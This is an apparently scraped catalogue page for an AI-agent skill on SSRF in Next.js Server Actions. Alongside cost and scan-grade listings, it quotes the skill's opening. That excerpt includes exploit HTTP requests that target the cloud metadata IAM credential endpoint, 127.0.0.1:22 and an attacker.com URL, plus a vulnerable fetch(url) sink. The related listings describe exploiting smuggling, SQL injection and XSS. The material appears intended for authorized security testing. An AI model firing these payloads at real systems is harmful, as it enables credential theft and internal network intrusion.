Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actionsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-nextjs-server-actions.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00046 | $0.01092 |
| Opus 5.5 | $0.00018 | $0.00437 |
| Sonnet 5.5 | $0.00009 | $0.00218 |
| Haiku 4.5 | $0.00005 | $0.00109 |
Grade B, and why
ssrf-nextjs-server-actions scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
[{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}] Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
// VULNERABLE const res = await fetch(url); How it starts
The opening of the file, as written. The whole thing — 140 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SSRF via Next.js Server Actions
When to Use
- When auditing modern web applications built using Next.js (React framework) that utilize Server Actions or custom API routes (
/pages/apior/app/api). - To demonstrate how fetching external data based on user input on the server side can lead to SSRF, allowing access to internal networks or cloud metadata.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identifying Server Actions
# Concept: Next.js Server Actions ```
### Phase 2: Analyzing Request Payloads (Black Box)
```http
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx
[{"url": "https://attacker.com/image.png"}]
Phase 3: Code Review (White Box - if available)
# Sink: fetch() 'use server'
export async function fetchPreview(url) {
// VULNERABLE const res = await fetch(url);
const data = await res.text();
return { preview: data.substring(0, 100) };
}
Phase 4: Exploitation
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx
[{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}]
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx
[{"url": "http://127.0.0.1:22"}]
Decision Point 🔀
flowchart TD
A[Monitor Next-Action ] --> B{Accepts URL Input ]}
B -->|Yes| C[Test internal ]
B -->|No| D[Test parameter ]
C --> E[Exfiltrate ]
🔵 Blue Team Detection & Defense
- URL Allowlisting: - SSRF Protections (Network Level): Key Concepts | Concept | Description | |---------|-------------|
Output Format
Ssrf Nextjs Server Actions — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 140 lines · 46 tokens per session scan B aa7f7ee88567
ssrf-nextjs-server-actions is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (13 stars, last pushed 6mo ago), licensed Apache-2.0. It adds 46 tokens to every session and 1,092 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
nextjs-patterns
Next.js App Router — Server Components, Actions, streaming, caching. Use when building or migrating Next.js apps.
http-request-smuggling-te-te
Exploit advanced HTTP Request Smuggling combining Transfer-Encoding vulnerabilities (TE.TE). By obscuring the Transfer-Encoding header, an attacker forces desynchronization between a frontend proxy (which processes the request one way) and the backend server (which processes it another way), allowing the smuggling of…
javascript-prototype-pollution
Identify and exploit Prototype Pollution vulnerabilities in JavaScript applications to achieve client-side Cross-Site Scripting (XSS), bypass authentication, or execute Remote Code Execution (RCE) on Node.js servers by manipulating the core Object prototype.
django-sql-injection
Identify and exploit SQL Injection vulnerabilities in Django applications, specifically focusing on edge cases involving raw querysets (RawSQL), improper use of .extra(), and poorly sanitized filters where Django's typical ORM protections are bypassed.
dom-based-xss
Exploit Document Object Model (DOM) Based Cross-Site Scripting (XSS) vulnerabilities. Unlike Reflected or Stored XSS, the attack payload is executed purely on the client-side as a result of modifying the DOM environment, often without the payload ever reaching the backend server.
nextjs
Next.js App Router best practices — Server Components, data fetching, caching, routing, middleware, metadata, error handling, streaming, Server Actions, and performance optimization for Next.js 14-16+.